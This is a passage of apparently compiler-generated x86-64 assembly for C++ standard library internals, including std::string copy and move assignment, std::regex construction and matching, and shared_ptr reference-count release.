_ZNSt11char_traitsIcE4copyEPcPKcm jmp .L195 .L194: mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEv mov rdx, rax mov rax, QWORD PTR [rbp-24] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEPc mov rax, QWORD PTR [rbp-32] mov rdx, QWORD PTR [rax+16] mov rax, QWORD PTR [rbp-24] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE11_M_capacityEm .L195: mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6lengthEv mov rdx, rax mov rax, QWORD PTR [rbp-24] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE9_M_lengthEm mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE13_M_local_dataEv mov rdx, rax mov rax, QWORD PTR [rbp-32] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEPc mov rax, QWORD PTR [rbp-32] mov esi, 0 mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE13_M_set_lengthEm nop add rsp, 16 pop rbx pop r12 pop rbp ret _ZN9__gnu_cxx14__alloc_traitsISaIcEcE27_S_propagate_on_copy_assignEv: push rbp mov rbp, rsp mov eax, 0 pop rbp ret _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEaSERKS4_: push rbp mov rbp, rsp push rbx sub rsp, 56 mov QWORD PTR [rbp-56], rdi mov QWORD PTR [rbp-64], rsi call _ZN9__gnu_cxx14__alloc_traitsISaIcEcE27_S_propagate_on_copy_assignEv test al, al je .L199 call _ZN9__gnu_cxx14__alloc_traitsISaIcEcE15_S_always_equalEv xor eax, 1 test al, al je .L200 mov rax, QWORD PTR [rbp-56] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE11_M_is_localEv xor eax, 1 test al, al je .L200 mov rax, QWORD PTR [rbp-64] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE16_M_get_allocatorEv mov rbx, rax mov rax, QWORD PTR [rbp-56] mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE16_M_get_allocatorEv mov rsi, rbx mov rdi, rax call _ZStneIcEbRKSaIT_ES3_ test al, al je .L200 mov eax, 1 jmp .L201 .L200: mov eax, 0 .L201: test al, al je .L202 mov rax, QWORD PTR [rbp-64] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE4sizeEv cmp rax, 15 setbe al test al, al je .L203 mov rax, QWORD PTR [rbp-56] mov rdx, QWORD PTR [rax+16] mov rax, QWORD PTR [rbp-56] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE10_M_destroyEm mov rax, QWORD PTR [rbp-56] mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE13_M_local_dataEv mov rdx, rax mov rax, QWORD PTR [rbp-56] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEPc mov rax, QWORD PTR [rbp-56] mov esi, 0 mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE13_M_set_lengthEm jmp .L202 .L203: mov rax, QWORD PTR [rbp-64] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE4sizeEv mov QWORD PTR [rbp-24], rax mov rax, QWORD PTR [rbp-64] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE16_M_get_allocatorEv mov rdx, rax lea rax, [rbp-33] mov rsi, rdx mov rdi, rax call _ZNSaIcEC1ERKS_ mov rax, QWORD PTR [rbp-24] lea rdx, [rax+1] lea rax, [rbp-33] mov rsi, rdx mov rdi, rax call _ZNSt16allocator_traitsISaIcEE8allocateERS0_m mov QWORD PTR [rbp-32], rax mov rax, QWORD PTR [rbp-56] mov rdx, QWORD PTR [rax+16] mov rax, QWORD PTR [rbp-56] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE10_M_destroyEm mov rdx, QWORD PTR [rbp-32] mov rax, QWORD PTR [rbp-56] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEPc mov rdx, QWORD PTR [rbp-24] mov rax, QWORD PTR [rbp-56] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE11_M_capacityEm mov rdx, QWORD PTR [rbp-24] mov rax, QWORD PTR [rbp-56] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE13_M_set_lengthEm lea rax, [rbp-33] mov rdi, rax call _ZNSaIcED1Ev .L202: mov rax, QWORD PTR [rbp-64] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE16_M_get_allocatorEv mov rbx, rax mov rax, QWORD PTR [rbp-56] mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE16_M_get_allocatorEv mov rsi, rbx mov rdi, rax call _ZSt15__alloc_on_copyISaIcEEvRT_RKS1_ .L199: mov rdx, QWORD PTR [rbp-64] mov rax, QWORD PTR [rbp-56] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6assignERKS4_ jmp .L208 mov rbx, rax lea rax, [rbp-33] mov rdi, rax call _ZNSaIcED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L208: add rsp, 56 pop rbx pop rbp ret _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEc: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov eax, esi mov BYTE PTR [rbp-12], al movsx edx, BYTE PTR [rbp-12] mov rax, QWORD PTR [rbp-8] mov esi, edx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE9push_backEc mov rax, QWORD PTR [rbp-8] leave ret _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE5clearEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov esi, 0 mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE13_M_set_lengthEm nop leave ret _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC2ERKS4_: push rbp mov rbp, rsp push rbx sub rsp, 40 mov QWORD PTR [rbp-40], rdi mov QWORD PTR [rbp-48], rsi mov rbx, QWORD PTR [rbp-40] mov rax, QWORD PTR [rbp-48] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE16_M_get_allocatorEv mov rdx, rax lea rax, [rbp-17] mov rsi, rdx mov rdi, rax call _ZN9__gnu_cxx14__alloc_traitsISaIcEcE17_S_select_on_copyERKS1_ mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE13_M_local_dataEv mov rcx, rax lea rax, [rbp-17] mov rdx, rax mov rsi, rcx mov rdi, rbx call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE12_Alloc_hiderC1EPcOS3_ lea rax, [rbp-17] mov rdi, rax call _ZNSaIcED1Ev mov rax, QWORD PTR [rbp-48] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEv mov rbx, rax mov rax, QWORD PTR [rbp-48] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6lengthEv add rbx, rax mov rax, QWORD PTR [rbp-48] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEv mov rcx, rax mov rax, QWORD PTR [rbp-40] mov rdx, rbx mov rsi, rcx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE12_M_constructIPcEEvT_S7_ jmp .L215 mov rbx, rax mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE12_Alloc_hiderD1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L215: add rsp, 40 pop rbx pop rbp ret _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE5emptyEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE4sizeEv test rax, rax sete al leave ret _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEaSEOS4_: push rbp mov rbp, rsp push r12 push rbx sub rsp, 32 mov QWORD PTR [rbp-40], rdi mov QWORD PTR [rbp-48], rsi mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE11_M_is_localEv xor eax, 1 test al, al je .L219 call _ZN9__gnu_cxx14__alloc_traitsISaIcEcE27_S_propagate_on_move_assignEv test al, al je .L219 call _ZN9__gnu_cxx14__alloc_traitsISaIcEcE15_S_always_equalEv xor eax, 1 test al, al je .L219 mov rax, QWORD PTR [rbp-48] mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE16_M_get_allocatorEv mov rbx, rax mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE16_M_get_allocatorEv mov rsi, rbx mov rdi, rax call _ZStneIcEbRKSaIT_ES3_ test al, al je .L219 mov eax, 1 jmp .L220 .L219: mov eax, 0 .L220: test al, al je .L221 mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rax+16] mov rax, QWORD PTR [rbp-40] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE10_M_destroyEm mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE13_M_local_dataEv mov rdx, rax mov rax, QWORD PTR [rbp-40] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEPc mov rax, QWORD PTR [rbp-40] mov esi, 0 mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE13_M_set_lengthEm .L221: mov rax, QWORD PTR [rbp-48] mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE16_M_get_allocatorEv mov rbx, rax mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE16_M_get_allocatorEv mov rsi, rbx mov rdi, rax call _ZSt15__alloc_on_moveISaIcEEvRT_S2_ mov rax, QWORD PTR [rbp-48] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE11_M_is_localEv test al, al je .L222 mov rax, QWORD PTR [rbp-48] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE4sizeEv test rax, rax setne al test al, al je .L223 mov rax, QWORD PTR [rbp-48] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE4sizeEv mov r12, rax mov rax, QWORD PTR [rbp-48] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEv mov rbx, rax mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEv mov rdx, r12 mov rsi, rbx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_S_copyEPcPKcm .L223: mov rax, QWORD PTR [rbp-48] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE4sizeEv mov rdx, rax mov rax, QWORD PTR [rbp-40] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE13_M_set_lengthEm jmp .L224 .L222: call _ZN9__gnu_cxx14__alloc_traitsISaIcEcE27_S_propagate_on_move_assignEv test al, al jne .L225 call _ZN9__gnu_cxx14__alloc_traitsISaIcEcE15_S_always_equalEv test al, al jne .L225 mov rax, QWORD PTR [rbp-48] mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE16_M_get_allocatorEv mov rbx, rax mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE16_M_get_allocatorEv mov rsi, rbx mov rdi, rax call _ZSteqIcEbRKSaIT_ES3_ test al, al je .L226 .L225: mov eax, 1 jmp .L227 .L226: mov eax, 0 .L227: test al, al je .L228 mov QWORD PTR [rbp-24], 0 mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE11_M_is_localEv xor eax, 1 test al, al je .L229 call _ZN9__gnu_cxx14__alloc_traitsISaIcEcE15_S_always_equalEv test al, al je .L230 mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEv mov QWORD PTR [rbp-24], rax mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+16] mov QWORD PTR [rbp-32], rax jmp .L229 .L230: mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rax+16] mov rax, QWORD PTR [rbp-40] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE10_M_destroyEm .L229: mov rax, QWORD PTR [rbp-48] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEv mov rdx, rax mov rax, QWORD PTR [rbp-40] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEPc mov rax, QWORD PTR [rbp-48] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6lengthEv mov rdx, rax mov rax, QWORD PTR [rbp-40] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE9_M_lengthEm mov rax, QWORD PTR [rbp-48] mov rdx, QWORD PTR [rax+16] mov rax, QWORD PTR [rbp-40] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE11_M_capacityEm cmp QWORD PTR [rbp-24], 0 je .L232 mov rdx, QWORD PTR [rbp-24] mov rax, QWORD PTR [rbp-48] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEPc mov rdx, QWORD PTR [rbp-32] mov rax, QWORD PTR [rbp-48] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE11_M_capacityEm jmp .L224 .L232: mov rax, QWORD PTR [rbp-48] lea rdx, [rax+16] mov rax, QWORD PTR [rbp-48] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEPc jmp .L224 .L228: mov rdx, QWORD PTR [rbp-48] mov rax, QWORD PTR [rbp-40] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6assignERKS4_ .L224: mov rax, QWORD PTR [rbp-48] mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE5clearEv mov rax, QWORD PTR [rbp-40] add rsp, 32 pop rbx pop r12 pop rbp ret _ZNSt7__cxx1111basic_regexIcNS_12regex_traitsIcEEEC2EPKcNSt15regex_constants18syntax_option_typeE: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov DWORD PTR [rbp-20], edx mov rax, QWORD PTR [rbp-16] mov rdi, rax call _ZNSt11char_traitsIcE6lengthEPKc mov rdx, rax mov rax, QWORD PTR [rbp-16] lea rdi, [rdx+rax] mov edx, DWORD PTR [rbp-20] mov rsi, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov ecx, edx mov rdx, rdi mov rdi, rax call _ZNSt7__cxx1111basic_regexIcNS_12regex_traitsIcEEEC1IPKcEET_S7_NSt15regex_constants18syntax_option_typeE nop leave ret _ZNSt12__shared_ptrIKNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2EED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] add rax, 8 mov rdi, rax call _ZNSt14__shared_countILN9__gnu_cxx12_Lock_policyE2EED1Ev nop leave ret _ZNSt10shared_ptrIKNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEEED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt12__shared_ptrIKNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2EED2Ev nop leave ret _ZNSt7__cxx1111basic_regexIcNS_12regex_traitsIcEEED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] add rax, 16 mov rdi, rax call _ZNSt10shared_ptrIKNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEEED1Ev mov rax, QWORD PTR [rbp-8] add rax, 8 mov rdi, rax call _ZNSt6localeD1Ev nop leave ret _ZSt11regex_matchIcNSt7__cxx1112regex_traitsIcEEEbPKT_RKNS0_11basic_regexIS3_T0_EENSt15regex_constants15match_flag_typeE: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov DWORD PTR [rbp-20], edx mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt7__cxx1112regex_traitsIcE6lengthEPKc mov rdx, rax mov rax, QWORD PTR [rbp-8] lea rsi, [rdx+rax] mov ecx, DWORD PTR [rbp-20] mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZSt11regex_matchIPKccNSt7__cxx1112regex_traitsIcEEEbT_S5_RKNS2_11basic_regexIT0_T1_EENSt15regex_constants15match_flag_typeE leave ret _ZNKSt7bit_andIbEclERKbS2_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rax, QWORD PTR [rbp-16] movzx eax, BYTE PTR [rax] movzx edx, al mov rax, QWORD PTR [rbp-24] movzx eax, BYTE PTR [rax] movzx eax, al and eax, edx test eax, eax setne al pop rbp ret _ZSt10accumulateIPbiSt7bit_andIbEET0_T_S4_S3_T1_: push rbp mov rbp, rsp sub rsp, 48 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov DWORD PTR [rbp-36], edx .L245: mov rax, QWORD PTR [rbp-24] cmp rax, QWORD PTR [rbp-32] je .L244 cmp DWORD PTR [rbp-36], 0 setne al mov BYTE PTR [rbp-1], al mov rdx, QWORD PTR [rbp-24] lea rax, [rbp-1] mov rsi, rax lea rdi, [rbp+16] call _ZNKSt7bit_andIbEclERKbS2_ movzx eax, al mov DWORD PTR [rbp-36], eax add QWORD PTR [rbp-24], 1 jmp .L245 .L244: mov eax, DWORD PTR [rbp-36] leave ret _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] pop rbp ret _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC2IPcvEET_S7_RKS3_: push rbp mov rbp, rsp push rbx sub rsp, 40 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov QWORD PTR [rbp-40], rdx mov QWORD PTR [rbp-48], rcx mov rbx, QWORD PTR [rbp-24] mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE13_M_local_dataEv mov rcx, rax mov rax, QWORD PTR [rbp-48] mov rdx, rax mov rsi, rcx mov rdi, rbx call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE12_Alloc_hiderC1EPcRKS3_ mov rdx, QWORD PTR [rbp-40] mov rcx, QWORD PTR [rbp-32] mov rax, QWORD PTR [rbp-24] mov rsi, rcx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE12_M_constructIPcEEvT_S7_ jmp .L252 mov rbx, rax mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE12_Alloc_hiderD1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L252: add rsp, 40 pop rbx pop rbp ret _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE10_M_disposeEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE11_M_is_localEv xor eax, 1 test al, al je .L255 mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+16] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE10_M_destroyEm .L255: nop leave ret _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE13_M_local_dataEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] add rax, 16 mov rdi, rax call _ZNSt14pointer_traitsIPcE10pointer_toERc leave ret _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE12_Alloc_hiderC2EPcRKS3_: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rdx, QWORD PTR [rbp-24] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSaIcEC2ERKS_ mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov QWORD PTR [rax], rdx nop leave ret _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE4sizeEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+8] pop rbp ret _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE8capacityEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE11_M_is_localEv test al, al je .L262 mov eax, 15 jmp .L264 .L262: mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+16] .L264: leave ret _ZNSt12_Vector_baseImSaImEE12_Vector_implD2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSaImED2Ev nop leave ret _ZNSt12_Vector_baseImSaImEEC2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt12_Vector_baseImSaImEE12_Vector_implC1Ev nop leave ret _ZNSt12_Vector_baseImSaImEED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+16] mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] sub rdx, rax mov rax, rdx sar rax, 3 mov rdx, rax mov rax, QWORD PTR [rbp-8] mov rcx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-8] mov rsi, rcx mov rdi, rax call _ZNSt12_Vector_baseImSaImEE13_M_deallocateEPmm mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt12_Vector_baseImSaImEE12_Vector_implD1Ev nop leave ret _ZNSt12_Vector_baseImSaImEE19_M_get_Tp_allocatorEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZSt8_DestroyIPmmEvT_S1_RSaIT0_E: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZSt8_DestroyIPmEvT_S1_ nop leave ret _ZNSt16_Sp_counted_baseILN9__gnu_cxx12_Lock_policyE2EE10_M_releaseEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] add rax, 8 mov esi, -1 mov rdi, rax call _ZN9__gnu_cxxL27__exchange_and_add_dispatchEPii cmp eax, 1 sete al test al, al je .L273 mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] add rax, 16 mov rax, QWORD PTR [rax] mov rdx, QWORD PTR [rbp-8] mov rdi, rdx call rax mov rax, QWORD PTR [rbp-8] add rax, 12 mov esi, -1 mov rdi, rax call _ZN9__gnu_cxxL27__exchange_and_add_dispatchEPii cmp eax, 1 sete al test al, al je .L273 mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] add rax, 24 mov rax, QWORD PTR [rax] mov rdx, QWORD PTR [rbp-8] mov rdi, rdx call rax .L273: nop leave ret _ZNSt14__shared_countILN9__gnu_cxx12_Lock_policyE2EE7_M_swapERS2_: push rbp mov rbp, rsp mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov rax, QWORD PTR [rbp-32] mov rax, QWORD PTR [rax] mov QWORD PTR [rbp-8], rax mov rax, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-32] mov QWORD PTR [rax], rdx mov rax, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rbp-8] mov QWORD PTR [rax], rdx nop pop rbp ret _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE12_Alloc_hiderC2EPcOS3_: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZSt4moveIRSaIcEEONSt16remove_referenceIT_E4typeEOS3_ mov rdx, rax mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSaIcEC2ERKS_ mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov QWORD PTR [rax], rdx nop leave ret _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE13_M_set_lengthEm: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov rdx, QWORD PTR [rbp-32] mov rax, QWORD PTR [rbp-24] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE9_M_lengthEm mov BYTE PTR [rbp-1], 0 mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEv mov rdx, rax mov rax, QWORD PTR [rbp-32] add rdx, rax lea rax, [rbp-1] mov rsi, rax mov rdi, rdx call _ZNSt11char_traitsIcE6assignERcRKc nop leave ret _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE16_M_get_allocatorEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZSt4moveIRSaIcEEONSt16remove_referenceIT_E4typeEOS3_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE11_M_is_localEv: push rbp mov rbp, rsp push rbx sub rsp, 24 mov QWORD PTR [rbp-24], rdi mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEv mov rbx, rax mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE13_M_local_dataEv cmp rbx, rax sete al add rsp, 24 pop rbx pop rbp ret _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEPc: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov 